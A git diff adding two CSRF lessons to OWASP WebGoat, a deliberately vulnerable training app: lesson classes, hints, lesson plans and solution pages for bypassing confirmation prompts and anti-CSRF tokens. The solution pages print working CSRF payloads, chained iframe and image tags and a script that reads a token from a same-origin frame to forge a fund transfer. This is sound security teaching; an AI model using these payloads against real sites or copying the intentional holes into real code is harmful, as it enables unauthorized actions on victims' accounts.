diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java index 290fab958..eb246f25d 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java @@ -6,11 +6,17 @@ import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.Statement; import java.util.ArrayList; +import java.util.Enumeration; import java.util.List; + +import javax.servlet.http.HttpSession; + import org.apache.ecs.Element; import org.apache.ecs.ElementContainer; import org.apache.ecs.StringElement; import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Form; import org.apache.ecs.html.H1; import org.apache.ecs.html.HR; import org.apache.ecs.html.IMG; @@ -58,7 +64,8 @@ import org.owasp.webgoat.util.HtmlEncoder; */ public class CSRF extends LessonAdapter { - + protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; + protected static final String TRANSFER_FUNDS_PAGE = "main"; private final static String MESSAGE = "message"; private final static int MESSAGE_COL = 3; private final static String NUMBER = "Num"; @@ -108,17 +115,61 @@ public class CSRF extends LessonAdapter protected Element createContent(WebSession s) { ElementContainer ec = new ElementContainer(); - - addMessage(s); - ec.addElement(makeInput(s)); - ec.addElement(new HR()); - ec.addElement(makeCurrent(s)); - ec.addElement(new HR()); - ec.addElement(makeList(s)); - + + if (isTransferFunds(s)){ + ec.addElement(doTransfer(s)); + } else { + addMessage(s); + ec.addElement(makeInput(s)); + ec.addElement(new HR()); + ec.addElement(makeCurrent(s)); + ec.addElement(new HR()); + ec.addElement(makeList(s)); + } return ec; } + /** + * if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the + * web content to display the electronic transfer of funds. An request + * should have a dollar amount specified. When this page is accessed it will mark the lesson complete + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + //if this token is present we won't mark the lesson as completed + form.addElement( new Input(Input.submit)); + ec.addElement(form); + //present transfer funds form + } else if (transferFunds.length() != 0){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); + makeSuccess(s); + } + return ec; + } + + /** + * @param s current web session + * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. + */ + protected boolean isTransferFunds(WebSession s) { + return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER); + } + /** * Description of the Method * @@ -142,7 +193,8 @@ public class CSRF extends LessonAdapter row2.addElement(item1); TD item2 = new TD(); - TextArea ta = new TextArea(MESSAGE, 5, 60); + TextArea ta = new TextArea(MESSAGE, 12, 60); + ta.addAttribute("wrap", "soft"); item2.addElement(ta); row2.addElement(item2); t.addElement(row1); @@ -281,7 +333,7 @@ public class CSRF extends LessonAdapter return Category.XSS; } - private final static Integer DEFAULT_RANKING = new Integer(120); + private final static Integer DEFAULT_RANKING = new Integer(121); @Override protected Integer getDefaultRanking() diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfPromptByPass.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfPromptByPass.java new file mode 100644 index 000000000..f449a1616 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfPromptByPass.java @@ -0,0 +1,200 @@ + +package org.owasp.webgoat.lessons; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +import javax.servlet.http.HttpSession; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.html.TextArea; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + + +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository for free software + * projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Contributed by PartNet. + * + */ +public class CsrfPromptByPass extends CSRF +{ + protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount"; + protected static final String CANCEL_TRANSFER = "CANCEL"; + protected static final String CONFIRM_TRANFER = "CONFIRM"; + + /** + * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the + * web content to confirm and then execute a simulated transfer of funds. An initial request + * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. + * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.length() != 0) { + + HttpSession httpSession = s.getRequest().getSession(); + Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //present transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + //if this token is present we won't mark the lesson as completed + form.addElement( new Input(Input.submit)); + ec.addElement(form); + + } else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferAmount)); + makeSuccess(s); + + } else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){ + + //clear any pending fund transfer + s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); + + } else if (transferFunds.length() > 0){ + + //save the transfer amount in the session + transferAmount = new Integer(transferFunds); + httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount); + + //prompt for confirmation + + ec.addElement(new H1("Electronic Transfer Confirmation:")); + ec.addElement(new StringElement("Amount to transfer: "+transferAmount)); + ec.addElement(new BR()); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER)); + form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER)); + ec.addElement(form); + } + } + // white space + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + return ec; + } + + /** + * @param s current web session + * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. + */ + protected boolean isTransferFunds(WebSession s) { + String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""); + if (transferFunds.length() != 0){ + return true; + } + return false; + } + + @Override + protected Category getDefaultCategory() + { + return Category.XSS; + } + + private final static Integer DEFAULT_RANKING = new Integer(122); + + @Override + protected Integer getDefaultRanking() + { + + return DEFAULT_RANKING; + } + + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned"); + hints.add("Add java script to send the confirmation after requesting the transfer"); + hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. "); + hints.add("Include this URL in the message
<img src='" + getLink()
+				+ "&transferFunds=5000' width=\"1\" height=\"1\" />
"); + + return hints; + } + + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("CSRF Prompt By-Pass"); + } + + public Element getCredits() + { + A partnet = new A("http://www.partnet.com"); + partnet.setPrettyPrint(false); + partnet.addElement(new StringElement("PART")); + partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); + partnet.setStyle("background-color:midnightblue;color:white"); + + ElementContainer credits = new ElementContainer(); + credits.addElement(new StringElement("Contributed by ")); + credits.addElement(partnet); + credits.addElement(new BR()); + credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa")); + return credits; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java new file mode 100644 index 000000000..55ab1fc74 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CsrfTokenByPass.java @@ -0,0 +1,181 @@ + +package org.owasp.webgoat.lessons; + +import java.security.SecureRandom; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +import javax.servlet.http.HttpSession; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.H2; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.html.TextArea; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + + +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository for free software + * projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Contributed by PartNet. + * + */ +public class CsrfTokenByPass extends CsrfPromptByPass +{ + protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; + private static final String CSRFTOKEN = "CSRFToken"; + private static final int INVALID_TOKEN = 0; + private final Random random; + + public CsrfTokenByPass(){ + super(); + random = new SecureRandom(); + } + /** + * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the + * web content to confirm and then execute a simulated transfer of funds. An initial request + * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. + * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.length() != 0) + { + HttpSession httpSession = s.getRequest().getSession(); + + //get tokens to validate + Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN); + Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //generate new random token: + int token = INVALID_TOKEN; + while (token == INVALID_TOKEN){ + token = random.nextInt(); + } + httpSession.setAttribute(CSRFTOKEN, token); + + //present transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addAttribute("id", "transferForm"); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + form.addElement( new Input(Input.hidden, CSRFTOKEN, token)); + form.addElement( new Input(Input.submit)); + ec.addElement(form); + //present transfer funds form + + } else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); + makeSuccess(s); + + } + //white space + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + } + return ec; + } + + + private final static Integer DEFAULT_RANKING = new Integer(123); + + @Override + protected Integer getDefaultRanking() + { + + return DEFAULT_RANKING; + } + + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned"); + hints.add("The forged request needs both a token and the transfer funds parameter"); + hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?"); + + return hints; + } + + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("CSRF Token By-Pass"); + } + + public Element getCredits() + { + A partnet = new A("http://www.partnet.com"); + partnet.setPrettyPrint(false); + partnet.addElement(new StringElement("PART")); + partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); + partnet.setStyle("background-color:midnightblue;color:white"); + + ElementContainer credits = new ElementContainer(); + credits.addElement(new StringElement("Contributed by ")); + credits.addElement(partnet); + credits.addElement(new BR()); + credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa")); + return credits; + } +} diff --git a/main/project/WebContent/WEB-INF/webgoat-class.properties b/main/project/WebContent/WEB-INF/webgoat-class.properties index e8de6a179..088a6334d 100644 --- a/main/project/WebContent/WEB-INF/webgoat-class.properties +++ b/main/project/WebContent/WEB-INF/webgoat-class.properties @@ -16,6 +16,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41 lesson.StoredXss.ranking=10 lesson.ReflectedXSS.ranking=20 lesson.CSRF.ranking=30 +lesson.CsrfPromptByPass.ranking=40 +lesson.CsrfTokenByPass.ranking=50 lesson.CrossSiteScripting.hidden=true category.Unvalidated\ Parameters.ranking=51 diff --git a/main/project/WebContent/WEB-INF/webgoat-lab.properties b/main/project/WebContent/WEB-INF/webgoat-lab.properties index 95adfcacc..abd6385d7 100644 --- a/main/project/WebContent/WEB-INF/webgoat-lab.properties +++ b/main/project/WebContent/WEB-INF/webgoat-lab.properties @@ -15,6 +15,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41 lesson.StoredXss.ranking=10 lesson.ReflectedXSS.ranking=20 lesson.CSRF.ranking=30 +lesson.CsrfPromptByPass.ranking=40 +lesson.CsrfTokenByPass.ranking=50 category.Unvalidated\ Parameters.ranking=51 lesson.HiddenFieldTampering.ranking=10 diff --git a/main/project/WebContent/lesson_plans/CsrfPromptByPass.html b/main/project/WebContent/lesson_plans/CsrfPromptByPass.html new file mode 100644 index 000000000..a5b524be2 --- /dev/null +++ b/main/project/WebContent/lesson_plans/CsrfPromptByPass.html @@ -0,0 +1,32 @@ +
+

Lesson Plan Title:CSRF User Prompt By-Pass


+
+ +

Concept / Topic To Teach:

+This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts. +
+
+

+How the attacks works: +

+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page +that contains a 'forged request' to execute commands with the victim's credentials. Prompting +a user to confirm or cancel the command might sound like a solution, but can be by-passed if +the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another +forged request. This can also apply to a series of prompts such as a wizard or issuing multiple +unrelated forged requests.

+ + +
+

General Goal(s):

+ +Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple +malicious requests: the first to transfer funds, and the second a request to confirm the prompt +that the first request triggered. The URL should point to the CSRF lesson with an extra +parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the +left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever +receives this email and happens to be authenticated at that time will have his funds transferred. +When you think the attack is successful, refresh the page and you will find the green check on +the left hand side menu. + + diff --git a/main/project/WebContent/lesson_plans/CsrfTokenByPass.html b/main/project/WebContent/lesson_plans/CsrfTokenByPass.html new file mode 100644 index 000000000..b0cbe426d --- /dev/null +++ b/main/project/WebContent/lesson_plans/CsrfTokenByPass.html @@ -0,0 +1,37 @@ +
+

Lesson Plan Title:CSRF Token Prompt By-Pass


+
+ +

Concept / Topic To Teach:

+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks. +
+
+

+How the attacks works: +

+

+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into +loading a page that contains a 'forged request' to execute commands with the +victim's credentials.

+ +

Token-based request authentication mitigates these attacks. This technique +inserts tokens into pages that issue requests. These tokens are required to +complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses +this technique to help prevent CSRF attacks.

+ +

However, this technique can be by-passed if CSS vulnerabilities exist on the same site. +Because of the same-origin browser policy, pages from the same domain can read content from +other pages from the same domain.

+ +
+

General Goal(s):

+ +Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious +request to transfer funds. To successfully complete you need to obtain a valid request token. +The page that presents the transfer funds form contains a valid request token. The URL for the +transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load +this page, read the token and append the token in a forged request to transferFunds. When you think +the attack is successful, refresh the page and you will find the green check on the left hand side menu. + + + diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html b/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html new file mode 100644 index 000000000..6faed2817 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CsrfPromptByPass.html @@ -0,0 +1,109 @@ + + + + +Client Side Filtering + + + +

Lesson Plan Title:Prompt By-Pass with CSRF

+ +

Concept / Topic To Teach:
+This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing +multiple requests to by-pass a scriptable user-prompt +

+ +

General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple +malicious requests: the first to transfer funds, and the second a request to confirm the prompt +that the first request triggered. The URL should point to the CSRF lesson with an extra +parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the +left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever +receives this email and happens to be authenticated at that time will have his funds transferred. +When you think the attack is successful, refresh the page and you will find the green check on +the left hand side menu +

+ +Solution:
+ +

Start by crafting an image or iframe tag similar to the CSRF LAB: <img +src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" +width="1" height="1" /> + +This image request will not result in a transfer of funds but will instead +prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the +Lesson with the extra parameter of "transferFunds=4000"
+ +User Prompt for confirmation of the transfer of funds
+User Prompt +

+

+Next look at the source of the page to see what parameters the confirmation requires. +The form in the confirmation prompt looks like the following: + + +

<form accept-charset='UNKNOWN' method='POST' action='attack?Screen=5&menu=900' enctype='application/x-www-form-urlencoded'>
+	<input name='transferFunds' type='submit' value='CONFIRM'>
+	<input name='transferFunds' type='submit' value='CANCEL'>
+</form>
+ +From this we see the next forged command will need the folllowing URL:
+attack?Screen=5&menu=900&transferFunds=CONFIRM
+This solution shows how to do this attack with both iframes and images. The next step is to +add the additional forged confirmation request. However, an additional iframe or image with +this URL will not be sufficient. The second request must load after the first. So add +Javascript to load the second command after the first. For iframes, make the onload attribute +of the first frame set the src of the second iframe:
+ + +
<iframe
+	src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
+	id="myFrame" frameborder="1" marginwidth="0"
+	marginheight="0" width="800" scrolling=yes height="300"
+	onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';">
+
</iframe>
+	
+<iframe
+	id="frame2" frameborder="1" marginwidth="0"
+	marginheight="0" width="800" scrolling=yes height="300">
+</iframe>
+
+
+ +Next add the iframes into a message stored on the web page:
+Picture of embedded message
+Insert iframes hack picture
+

+The following shows the result of clicking on the malicious iframe message: +Picture of the malicious iframe message
+Results of iframes hack picture
+In the above image, note that the first frame shows the user prompt, the result of the +first forged request to transfer funds. In the second frame the results of the second +forged request (the confirmation) are shown, indicating that 4000 dollars were successfully +transfered. Refreshing the page will indicate that this lesson has been completed. +

+

+In a real attack these results would be hidden from the end user. Click "restart this lesson" +to attempt the attack again, only this time try hiding the attack with hidden or very small frames. +

+

+For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror: +
+ +<img +src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" +onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'" +width="1" height="1" /> +<img +id="image2" +width="1" height="1" /> + +
+Next store the malicious images in a message and click the message to attempt the attack. +Picture of the malicious iframe message
+Picture of adding malicious image requests
+Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit +CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but +not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post. + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png new file mode 100644 index 000000000..3971e484f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png new file mode 100644 index 000000000..48e299a23 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png new file mode 100644 index 000000000..df21320e8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png new file mode 100644 index 000000000..b44361734 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png new file mode 100644 index 000000000..7f0518029 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png new file mode 100644 index 000000000..6257299d0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png new file mode 100644 index 000000000..42f27f677 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html b/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html new file mode 100644 index 000000000..d4e4c7bd3 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/CsrfTokenByPass.html @@ -0,0 +1,121 @@ + + + + +CSRF Token By-Pass + + + +

Lesson Plan Title:CSRF Token Prompt By-Pass

+ +

Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks. +

+ +

+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into +loading a page that contains a 'forged request' to execute commands with the +victim's credentials.

+ +

Token-based request authentication deters these attacks. This technique +inserts tokens into pages that issue requests. These tokens are required to +complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses +this technique to help prevent CSRF attacks.

+ +

However, this technique can be by-passed if CSS vulnerabilities exist on the same site. +Because of the same-origin browser policy, pages from the same domain can read content from +other pages from the same domain.

+ +

General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious +request to transfer funds. To successfully complete you need to obtain a valid request token. The +URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter +"transferFunds=main". Load this page, read the token and append the token in a forged request +to transferFunds. When you think the attack is successful, refresh the page and you will find the +green check on the left hand side menu. +

+ +Solution:
+ +

Similar to the CSRF LAB, you must forge a request that will transfer funds. However, +a request will not result in a transfer of funds unless it has a correct token. To find +a valid token, you could look at the form that the site generates to submit a transfer of funds. +To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter +of "transferFunds=main"
+ +Picture of transfer initiation form
+Transfer initiation form +

+

+Next look at the source of the page to see what parameter the token comes in. + +

<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=2&menu=900' enctype='application/x-www-form-urlencoded'>
+	<input name='transferFunds' type='text' value='0'>
+	<input name='CSRFToken' type='hidden' value='1745740650'>
+	<input type='submit'>
+
</form>
+ +From this we see a forged command will need the CSRFToken parameter.
+ +

This solution loads this page in an iframe and reads the token out of the frame. +Note that this is possible because the message originates from the same domain and +does not violate the "same origin policy". So even thought this page has taken +measures to prevent CSRF attacks, those measures can be side-stepped because of +CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the +frame, then the form, then saves the token

+ +
+var tokenvalue;
+
+function readFrame1()
+{
+    var frameDoc = document.getElementById("frame1").contentDocument;
+    var form = frameDoc.getElementsByTagName("Form")[0];
+    var token = form.CSRFToken.value;
+    tokenvalue = '&CSRFToken='+token;
+    
+    loadFrame2();
+}
+
+function loadFrame2()
+{
+    var testFrame = document.getElementById("frame2");
+    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;	
+}
+
+ +

readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2 +LoadFrame2 will then append the token and load a second frame.

+ +The following frames loads the transfer page in the first frame. When it finishes loading, it will +call readFrame1, which calls loadFrame2, which then sets the src for the second iframe. + +
+ + + +
<iframe	src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
+	onload="readFrame1();"
+	id="frame1" frameborder="1" marginwidth="0"
+	marginheight="0" width="800" scrolling=yes height="300"></iframe>
+<iframe id="frame2" frameborder="1" marginwidth="0"
+	marginheight="0" width="800" scrolling=yes height="300"></iframe>
+
+
+ +

The next picture shows inserting this code into a message:
+Picture of inserting CSRF code in web page
+Inserting CSRF code into message

+ +The following picture shows the results of someone hitting this page. Note that no effort was taken to +hide the results of the two frames. The first frame shows the transfer funds form, and the second shows +the results of the CSRF attack. Try another post that will hide these iframes from being noticed. +

The next picture shows inserting this code into a message:
+Picture of the results of viewing the malicious message
+Results of viewing the malicious message + + +

+ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHack.png b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHack.png new file mode 100644 index 000000000..8e2b1503e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHack.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png new file mode 100644 index 000000000..e09a7fc57 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png differ diff --git a/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenPage.png b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenPage.png new file mode 100644 index 000000000..5c6927667 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/CsrfTokenByPass_files/tokenPage.png differ